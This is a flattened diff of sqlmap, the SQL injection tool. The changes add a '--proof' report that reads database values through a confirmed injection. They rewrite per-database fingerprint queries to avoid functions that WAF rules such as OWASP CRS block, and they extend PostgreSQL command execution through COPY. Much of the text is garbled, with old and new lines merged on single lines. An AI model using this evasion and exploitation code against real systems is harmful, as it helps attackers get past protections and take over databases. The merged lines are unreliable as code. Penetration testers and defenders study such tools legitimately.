# a heavy-query delay carries no parameterizable seconds, so there is nothing to sweep
return ["a TRUE condition delays the response well beyond the normal ~%.3fs (jitter ~%.3fs)" % (baseAvg, baseStd)]
n = randomInt()
base = conf.timeSec or 5
measurements = []
for k in (0, base, 2 * base): for k in (0, base, 2 * base):
pushValue(conf.timeSec) pushValue(conf.timeSec)
conf.timeSec = k conf.timeSec = k
@@ -207,179 +314,162 @@ def _proveTime(injection):
conf.timeSec = popValue() conf.timeSec = popValue()
if any(d is None for _, d in measurements): if any(d is None for _, d in measurements):
retVal.append(_baselineStatement()) return ["a TRUE condition delays the response well beyond the normal ~%.3fs (jitter ~%.3fs)" % (baseAvg, baseStd)]
return retVal
d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1]) d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1])
baseAvg = average(benign) if benign else d0 retVal = ["unmodified request: %.3fs (jitter ~%.3fs)" % (baseAvg, baseStd),
baseStd = stdev(benign) if len(benign) >= 2 else 0.0 "injected delay: %s" % " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements)]
# only claim 1:1 scaling if the measurements actually track the injected seconds: 0s stays near baseline,
# Ts ~ T, 2Ts ~ 2T, monotonic. A heavy-query delay (e.g. SQLite RANDOMBLOB) also rides [SLEEPTIME] but
# does NOT scale linearly, so it must NOT be rendered as 1:1 (its sweep is noisy / non-monotonic)
linear = d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT
if linear:
retVal.append("normal response ~%.3fs (jitter ~%.3fs); injected delay %s" % (baseAvg, baseStd, " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements)))
retVal.append("the response slows ~1:1 with the injected delay - a controlled delay that network latency or a slow page cannot reproduce (the 0s case returns at normal speed)")
else:
retVal.append("a TRUE condition makes the response take ~%.2fs versus ~%.3fs normal (jitter ~%.3fs), repeatably" % (max(dT, d2T), baseAvg, baseStd))
retVal.append("a FALSE condition returns at normal speed - a sustained delay neither network latency nor a slow page reproduces")
# only claim 1:1 scaling when the measurements really track the injected seconds. A heavy-query delay
# also rides [SLEEPTIME] but does not scale linearly, so it must not be rendered as a controlled delay.
if d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT:
retVal.append("the delay follows the injected value ~1:1, and 0s returns at normal speed")
return retVal return retVal
def _retrieveProof(): # response codes a protection returns when it drops a request, rather than the application answering
_BLOCKED_CODES = (403, 406, 419, 429, 501, 503)
def _evasion():
""" """
Reads values back through the injection to prove it - DBMS-agnostic, weakest-to-strongest: What the proof had to get through. On a filtered target this is the part that matters: the evidence
above is worth much more when the report also states that a protection was in the path and what was
1. a random arithmetic product (e.g. 48391*60128): every SQL engine evaluates it, it needs no needed to carry data past it.
table/function/FROM (valid even on Oracle), so its WAF surface is tiny - yet the operands are
random, so reading the exact product back proves the back-end actually executed injected SQL
(not a reflected constant);
2. the DBMS banner: a real datum the application never returns on its own (the strongest proof).
Whatever evasion the run already adopted (tamper scripts) applies here too - this is not tied to any one
DBMS or tamper. Returns a list of (label, text) rungs; both, one, or none may be present.
""" """
from lib.request import inject
retVal = [] retVal = []
if kb.identifiedWafs:
a, b = randomInt(4), randomInt(4) # 4-digit operands: product stays < 2^31 so it never overflows a 32-bit INT (e.g. PostgreSQL int4), yet is unguessable retVal.append("protection identified: %s" % ", ".join(sorted(kb.identifiedWafs)))
try: elif kb.wafBypass is not None:
result = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True) retVal.append("protection detected in front of the application (not fingerprinted)")
except Exception: if kb.wafBypass:
result = None retVal.append("automatic bypass applied: non-scanner User-Agent and browser-like headers")
if result is not None and ("%s" % result).strip() == str(a * b): names = ", ".join(sorted(_.__name__.rsplit('.', 1)[-1] for _ in (kb.tamperFunctions or [])))
retVal.append(("Computed", "%d*%d = %d returned by the back-end - it executed the injected SQL (works on any DBMS)" % (a, b, a * b))) if names or conf.tamper:
retVal.append("tamper scripts in effect: %s" % (names or conf.tamper))
label = value = None blocked = ", ".join("%d x%d" % (code, count) for code, count in sorted((kb.httpErrorCodes or {}).items()) if code in _BLOCKED_CODES)
for requested, candidate, lbl in ( # reuse a value the user's own switches already pulled if blocked:
(conf.getBanner, getattr(kb.data, "banner", None), "back-end DBMS banner"), retVal.append("responses refused by the protection during the run: %s" % blocked)
(conf.getCurrentUser, getattr(kb.data, "currentUser", None), "current database user"), if kb.droppingRequests:
(conf.getCurrentDb, getattr(kb.data, "currentDb", None), "current database"), retVal.append("the target dropped or reset requests during the scan (retried)")
): if conf.delay:
if requested and candidate: retVal.append("requests were delayed by %.2fs each" % conf.delay)
label, value = lbl, unArrayizeValue(candidate)
break
if value is None:
dbms = Backend.getIdentifiedDbms()
banner = getattr(queries.get(dbms), "banner", None) if dbms else None
query = getattr(banner, "query", None) if banner else None
if query:
try:
value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True))
label = "back-end DBMS banner"
except Exception:
value = None
if value:
retVal.append(("Retrieved", "%s %s - a real value read out of the back-end (the strongest proof)" % (label, repr(value).lstrip('u'))))
return retVal return retVal
def _proveInjection(injection):
"""
Runs every experiment for one injection point and renders its block. Returns (fields, proven).
"""
saved = _activateInjection(injection)
started = kb.requestCounter
try:
a, b = randomInt(4), randomInt(4) # 4-digit operands: the product stays inside a 32-bit INT on every DBMS, yet is unguessable
rows = _challenge(injection, a, b)
passing = [stype for stype, ok, _ in rows if ok]
blocked = None
control = []
stype = passing[0] if passing else (_techniques(injection) or [None])[0]
if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
control, blocked = _booleanControl(injection)
controlLabel = "boolean differential"
elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data:
control = _timeControl(injection, PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED)
controlLabel = "timing control"
else:
controlLabel = None
readback = _datum(passing)
finally:
_restoreInjection(saved)
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place
fields = [_field("Parameter", "%s (%s)" % (injection.parameter, paramType)),
_field("Techniques", ", ".join(_name(_) for _ in _techniques(injection)) or "none")]
challenge = ["the back-end must compute %d*%d = %d, drawn at random after the scan started" % (a, b, a * b),
"(the product is in no page, cache or reflection - only something that evaluates SQL can return it)"]
for stype, _ok, lines in rows:
challenge.append("%s:" % _name(stype))
challenge.extend(" %s" % _ for _ in lines)
fields.append(_field("Challenge", challenge))
fields.extend(readback)
if control:
fields.append(_field("Control", ["%s" % controlLabel] + [" %s" % _ for _ in control]))
evasion = _evasion()
if evasion:
fields.append(_field("Evasion", evasion))
proven = bool(passing)
if proven:
through = " through the protection in front of the application" if (kb.identifiedWafs or kb.wafBypass) else ""
verdict = ["PROVEN - the back-end executed injected SQL and returned the result%s" % through,
"channels that carry data: %s" % ", ".join(_name(_) for _ in passing)]
failed = [_name(stype) for stype, ok, _ in rows if not ok]
if failed:
verdict.append("channels that did NOT answer: %s" % ", ".join(failed))
else:
verdict = ["NOT PROVEN - no technique returned the computed value"]
if blocked:
verdict.append("a TRUE condition answers with an HTTP error - that is a block, not a database answer")
if kb.identifiedWafs or kb.droppingRequests or blocked:
verdict.append("a protection is interfering, so this may be a real injection whose data channel is blocked")
verdict.append("=> re-test without the protection, or with '--tamper', then prove again")
else:
verdict.append("the reported injection point reproduces a differential but cannot execute SQL")
verdict.append("=> treat it as a FALSE POSITIVE unless a side effect proves otherwise (e.g. '--os-shell')")
verdict.append("%d requests spent on this proof" % (kb.requestCounter - started))
fields.append(_field("Verdict", verdict))
return fields, proven
def proveExploitation(): def proveExploitation():
""" """
Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point Renders a verifiable demonstration of exploitation for every confirmed injection point (switch
(option '--proof'), in the same style as sqlmap's injection-point summary so it reads naturally: the '--proof'). It does not restate what detection reported: each claim is an experiment with a control,
target URL and the confirmed injection point (parameter / type / title / payload), then the strongest an unpredictable expected value, and the request line, HTTP status, response size and timing that
proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive produced it - and every claim is attributed to the technique that produced it. Written to stdout and
one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the to '<output>/proof.txt'.
distinguishing --string/--code/--title signal) or a statistical time-based demonstration. Written both
to stdout and to '<output>/proof.txt'.
""" """
if not kb.injections or not any(getattr(_, "place", None) for _ in kb.injections): injections = [_ for _ in (kb.injections or []) if getattr(_, "place", None)]
if not injections:
return return
injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0]
signal = {}
saved = _activateInjection(injection)
try:
if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
stype = PAYLOAD.TECHNIQUE.BOOLEAN
proof = _proveBoolean(injection, signal)
elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data:
stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED
proof = _proveTime(injection)
elif PAYLOAD.TECHNIQUE.ERROR in injection.data:
stype = PAYLOAD.TECHNIQUE.ERROR
proof = ["the back-end error message returns the requested value directly"]
elif PAYLOAD.TECHNIQUE.UNION in injection.data:
stype = PAYLOAD.TECHNIQUE.UNION
proof = ["the requested value is rendered inside the application response"]
else:
stype = next(iter(injection.data), None)
proof = []
rungs = _retrieveProof()
finally:
_restoreInjection(saved)
from lib.core.agent import agent
target = conf.url or "" target = conf.url or ""
if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path
target += "?%s" % conf.parameters[PLACE.GET] target += "?%s" % conf.parameters[PLACE.GET]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place
sdata = injection.data.get(stype)
fields = [_field("Target", target)] fields = [_field("Target", target)]
if conf.parameters.get(PLACE.POST): if conf.parameters.get(PLACE.POST):
fields.append(_field("Data", conf.parameters[PLACE.POST])) fields.append(_field("Data", conf.parameters[PLACE.POST]))
fields.append(_field("Parameter", "%s (%s)" % (injection.parameter, paramType))) if Backend.getIdentifiedDbms():
if sdata is not None: fields.append(_field("Back-end", Backend.getIdentifiedDbms()))
fields.append(_field("Technique", PAYLOAD.SQLINJECTION[stype])) fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S")))
if sdata.payload:
payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus))
fields.append(_field("Payload", payload))
# Reading a value back out of the back-end is the GATE, not a bonus: it is the only thing that
# distinguishes a real injection from a differential that merely correlates with the payload. A
# WAF/IPS that answers blocked payloads with a distinct HTTP status (e.g. 403 when TRUE, 200 when
# FALSE) reproduces a perfect, repeatable boolean differential WITHOUT any SQL ever executing - so
# the differential alone is exactly the signal detection already (mis)read. If nothing could be read
# back, exploitation is NOT proven; say so plainly instead of echoing the detection verdict.
proven = bool(rungs)
# whether ANY confirmed technique here can return data inline; a stacked-query-only point cannot, so a proven = 0
# failed read-back below is expected there and must NOT be spun into a "false positive" verdict for injection in injections:
canReadBack = any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.TIME)) block, ok = _proveInjection(injection)
proven += int(ok)
fields.append("")
fields.extend(block)
if proven: if proven == len(injections):
if proof: header = "sqlmap proved exploitation of the following injection point(s)"
fields.append(_field("Proof", proof)) elif proven:
for label, text in rungs: header = "sqlmap proved exploitation of %d of %d reported injection point(s)" % (proven, len(injections))
fields.append(_field(label, text))
header = "sqlmap proved exploitation of the following injection point"
else: else:
if proof: header = "sqlmap could NOT prove exploitation of the reported injection point(s)"
fields.append(_field("Observed", proof)) # the differential is observed, but unconfirmed
suspectWaf = bool(signal.get("codeBased")) and (signal.get("trueCode") or 0) >= 400
wafInterfering = suspectWaf or kb.droppingRequests or bool(kb.identifiedWafs)
verdict = ["no value could be read back through the injection (tried a random arithmetic product and the DBMS banner)"]
if suspectWaf:
verdict.append("the TRUE/FALSE difference is only an HTTP %s (blocked) response - characteristic of a WAF/IPS, not a database answer" % signal.get("trueCode"))
if not canReadBack:
# e.g. stacked-query-only: no confirmed technique returns data inline, so a value cannot be read
# back here - that is expected by design and is NOT evidence of a false positive
verdict.append("this injection point exposes no data-returning channel (e.g. stacked queries), so a value cannot be read back inline - expected here, not a false positive")
verdict.append("=> confirm exploitation through a side effect instead (e.g. '--os-shell', or '--sql-query' run with '--technique=S')")
elif wafInterfering:
# behind a WAF, an unconfirmed read-back is ambiguous: a genuine injection whose data-retrieval
# payloads are being blocked looks the same as a pure WAF artifact - so don't assert "false
# positive", point the user at the way to disambiguate instead
verdict.append("a WAF/IPS is interfering: this may be a real injection whose data-retrieval is blocked, or a false positive")
verdict.append("=> exploitation is NOT proven; re-test directly (no WAF) or with --tamper, then re-prove")
else:
verdict.append("=> exploitation is NOT proven; the reported injection is likely a FALSE POSITIVE")
fields.append(_field("Verdict", verdict))
header = "sqlmap could NOT prove exploitation of the reported injection point"
data = "\n".join(fields) data = "\n".join(fields)
conf.dumper.string(header, data) conf.dumper.string(header, data)
+5 -3
View File
@@ -72,9 +72,11 @@ class Fingerprint(GenericFingerprint):
retVal = None retVal = None
table = ( table = (
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), # Note: NULLIF(), CURRENT_TIME(), BIT_LENGTH(), CHAR_LENGTH() and RAND() are all blacklisted
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), # by WAF/IPS (e.g. OWASP CRS rule 942151), so only markers from the same releases are kept
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), ("1.5", ("EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)",)),
("2.0", ("EXISTS(SELECT 1 FROM RDB$DATABASE ROWS 1)",)),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "FLOOR(1.%d)>=0")),
("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html
("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf
) )
+1 -1
View File
@@ -93,7 +93,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming %s" % DBMS.H2 infoMsg = "confirming %s" % DBMS.H2
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST()
if not result: if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.H2 warnMsg = "the back-end DBMS is not %s" % DBMS.H2
+1 -1
View File
@@ -99,7 +99,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming %s" % DBMS.HSQLDB infoMsg = "confirming %s" % DBMS.HSQLDB
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST()
if not result: if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
+2 -2
View File
@@ -91,9 +91,9 @@ class Fingerprint(GenericFingerprint):
for version, check in ( for version, check in (
("Azure", "@@VERSION LIKE '%Azure%'"), ("Azure", "@@VERSION LIKE '%Azure%'"),
("2025", "CHARINDEX('17.0.',@@VERSION)>0"), ("2025", "CHARINDEX('17.0.',@@VERSION)>0"),
("2022", "GREATEST(NULL,NULL) IS NULL"), ("2022", "LEFT_SHIFT(1,1)=2"), # Note: same release as the blacklisted GREATEST()
("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("2019", "CHARINDEX('15.0.',@@VERSION)>0"),
("2017", "TRIM(NULL) IS NULL"), ("2017", "TRANSLATE('[RANDSTR]','[RANDSTR]','[RANDSTR]')='[RANDSTR]'"), # Note: same release as the blacklisted TRIM()
("2016", "ISJSON(NULL) IS NULL"), ("2016", "ISJSON(NULL) IS NULL"),
("2014", "CHARINDEX('12.0.',@@VERSION)>0"), ("2014", "CHARINDEX('12.0.',@@VERSION)>0"),
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
+14 -1
View File
@@ -16,9 +16,22 @@ class Syntax(GenericSyntax):
True True
>>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+NCHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+NCHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar"
True True
>>> Syntax.escape(u"SELECT '\U0001f600' FROM foobar") == "SELECT NCHAR(55357)+NCHAR(56832) FROM foobar"
True
""" """
def escaper(value): def escaper(value):
return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "NCHAR", _) for _ in getOrds(value)) chars = []
for _ in getOrds(value):
if _ < 128:
chars.append("CHAR(%d)" % _)
elif _ < 0x10000:
chars.append("NCHAR(%d)" % _)
else:
_ -= 0x10000
chars.append("NCHAR(%d)+NCHAR(%d)" % (0xd800 + (_ >> 10), 0xdc00 + (_ & 0x3ff))) # SQL Server's NCHAR() only accepts BMP values without SC collation, so split into a surrogate pair
return "+".join(chars)
return Syntax._escape(expression, quote, escaper) return Syntax._escape(expression, quote, escaper)
+15 -17
View File
@@ -72,7 +72,8 @@ class Fingerprint(GenericFingerprint):
found = False found = False
for candidate in versions: for candidate in versions:
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) # Note: '.0' keeps the (always false) comparison, but takes the comment off WAF/IPS blacklists (e.g. OWASP CRS rule 942500)
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1].0=[RANDNUM2]*/" % candidate[0])
if not result: if not result:
found = True found = True
@@ -81,7 +82,7 @@ class Fingerprint(GenericFingerprint):
if found: if found:
for version in xrange(candidate[1], candidate[0] - 1, -1): for version in xrange(candidate[1], candidate[0] - 1, -1):
version = getUnicode(version) version = getUnicode(version)
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1].0=[RANDNUM2]*/" % version)
if not result: if not result:
if version[0] == "3": if version[0] == "3":
@@ -119,6 +120,8 @@ class Fingerprint(GenericFingerprint):
fork = FORK.DORIS fork = FORK.DORIS
elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"):
fork = FORK.STARROCKS fork = FORK.STARROCKS
elif inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL"): # Note: GEOGRAPHY_AREA() is MemSQL specific
fork = FORK.MEMSQL
elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
fork = FORK.AURORA fork = FORK.AURORA
else: else:
@@ -200,20 +203,14 @@ class Fingerprint(GenericFingerprint):
infoMsg = "testing %s" % DBMS.MYSQL infoMsg = "testing %s" % DBMS.MYSQL
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") # Note: QUARTER() and XOR are the MySQL specifics here, while the dropped IFNULL() only added a name that WAF/IPS blacklist (e.g. OWASP CRS rule 942151)
result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL AND (NULL XOR NULL) IS NULL")
if result: if result:
infoMsg = "confirming %s" % DBMS.MYSQL infoMsg = "confirming %s" % DBMS.MYSQL
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") result = inject.checkBooleanExpression("(QUARTER(NULL) XOR [RANDNUM]) IS NULL")
if not result:
# Note: MemSQL doesn't support SESSION_USER()
result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL")
if result:
hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL)
if not result: if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
@@ -227,19 +224,20 @@ class Fingerprint(GenericFingerprint):
kb.data.has_information_schema = True kb.data.has_information_schema = True
# Determine if it is MySQL >= 9.0.0 # Determine if it is MySQL >= 9.0.0
if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): if inject.checkBooleanExpression("VECTOR_DIM(NULL) IS NULL"):
Backend.setVersion(">= 9.0.0") Backend.setVersion(">= 9.0.0")
setDbms("%s 9" % DBMS.MYSQL) setDbms("%s 9" % DBMS.MYSQL)
self.getBanner() self.getBanner()
# Determine if it is MySQL >= 8.0.0 # Determine if it is MySQL >= 8.0.0
elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): elif inject.checkBooleanExpression("JSON_STORAGE_FREE(NULL) IS NULL"):
Backend.setVersion(">= 8.0.0") Backend.setVersion(">= 8.0.0")
setDbms("%s 8" % DBMS.MYSQL) setDbms("%s 8" % DBMS.MYSQL)
self.getBanner() self.getBanner()
# Determine if it is MySQL >= 5.0.0 # Determine if it is MySQL >= 5.0.0
elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): # Note: '@@automatic_sp_privileges' (MySQL 5.0.3) instead of the blacklisted TIMESTAMPADD()
elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
Backend.setVersion(">= 5.0.0") Backend.setVersion(">= 5.0.0")
setDbms("%s 5" % DBMS.MYSQL) setDbms("%s 5" % DBMS.MYSQL)
self.getBanner() self.getBanner()
@@ -251,11 +249,11 @@ class Fingerprint(GenericFingerprint):
logger.info(infoMsg) logger.info(infoMsg)
# Check if it is MySQL >= 5.7 # Check if it is MySQL >= 5.7
if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): if inject.checkBooleanExpression("JSON_QUOTE(NULL) IS NULL"):
Backend.setVersion(">= 5.7") Backend.setVersion(">= 5.7")
# Check if it is MySQL >= 5.6 # Check if it is MySQL >= 5.6
elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): elif inject.checkBooleanExpression("VALIDATE_PASSWORD_STRENGTH(NULL) IS NULL"):
Backend.setVersion(">= 5.6") Backend.setVersion(">= 5.6")
# Check if it is MySQL >= 5.5 # Check if it is MySQL >= 5.5
@@ -339,7 +337,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "fingerprinting the back-end DBMS operating system" infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") result = inject.checkBooleanExpression("'W'=UPPER(LEFT(@@version_compile_os,1))") # Note: LEFT() instead of the blacklisted MID()
if result: if result:
Backend.setOs(OS.WINDOWS) Backend.setOs(OS.WINDOWS)
+2 -1
View File
@@ -126,7 +126,8 @@ class Fingerprint(GenericFingerprint):
# Reference: https://en.wikipedia.org/wiki/Oracle_Database # Reference: https://en.wikipedia.org/wiki/Oracle_Database
for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
number = int(re.search(r"([\d]+)", version).group(1)) number = int(re.search(r"([\d]+)", version).group(1))
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) # Note: prefix matching instead of the blacklisted SUBSTR()
output = inject.checkBooleanExpression("(SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1) LIKE '%d%%'" % number)
if output: if output:
Backend.setVersion(version) Backend.setVersion(version)
+4 -3
View File
@@ -118,7 +118,8 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming %s" % DBMS.PGSQL infoMsg = "confirming %s" % DBMS.PGSQL
logger.info(infoMsg) logger.info(infoMsg)
result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]") # Note: TO_HEX() is PostgreSQL specific as well, and not blacklisted like COALESCE()
result = inject.checkBooleanExpression("TO_HEX([RANDNUM]) IS NOT NULL")
if not result: if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
@@ -142,7 +143,7 @@ class Fingerprint(GenericFingerprint):
Backend.setVersion(">= 16.0") Backend.setVersion(">= 16.0")
elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"):
Backend.setVersion(">= 15.0") Backend.setVersion(">= 15.0")
elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): elif inject.checkBooleanExpression("TRIM_ARRAY(ARRAY[1,2],1)=ARRAY[1]"): # Note: same release as the blacklisted BIT_COUNT()
Backend.setVersion(">= 14.0") Backend.setVersion(">= 14.0")
elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"):
Backend.setVersion(">= 13.0") Backend.setVersion(">= 13.0")
@@ -154,7 +155,7 @@ class Fingerprint(GenericFingerprint):
Backend.setVersionList([">= 10.0", "< 11.0"]) Backend.setVersionList([">= 10.0", "< 11.0"])
elif inject.checkBooleanExpression("SIND(0)=0"): elif inject.checkBooleanExpression("SIND(0)=0"):
Backend.setVersionList([">= 9.6.0", "< 10.0"]) Backend.setVersionList([">= 9.6.0", "< 10.0"])
elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): elif inject.checkBooleanExpression("ARRAY_POSITION(ARRAY[1,2],2)=2"): # Note: same release as the blacklisted TO_JSONB()
Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) Backend.setVersionList([">= 9.5.0", "< 9.6.0"])
elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
+1 -1
View File
@@ -102,7 +102,7 @@ class Takeover(GenericTakeover):
def copyExecCmd(self, cmd): def copyExecCmd(self, cmd):
output = None output = None
if isStackingAvailable() or conf.direct: if isStackingAvailable() or conf.direct or inject.getGadget():
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
+77 -6
View File
@@ -5,14 +5,85 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import cachedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.core.enums import PLACE
from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem): class Filesystem(GenericFilesystem):
def readFile(self, remoteFile): @cachedmethod
errMsg = "on SQLite it is not possible to read files" def _checkFunction(self, name):
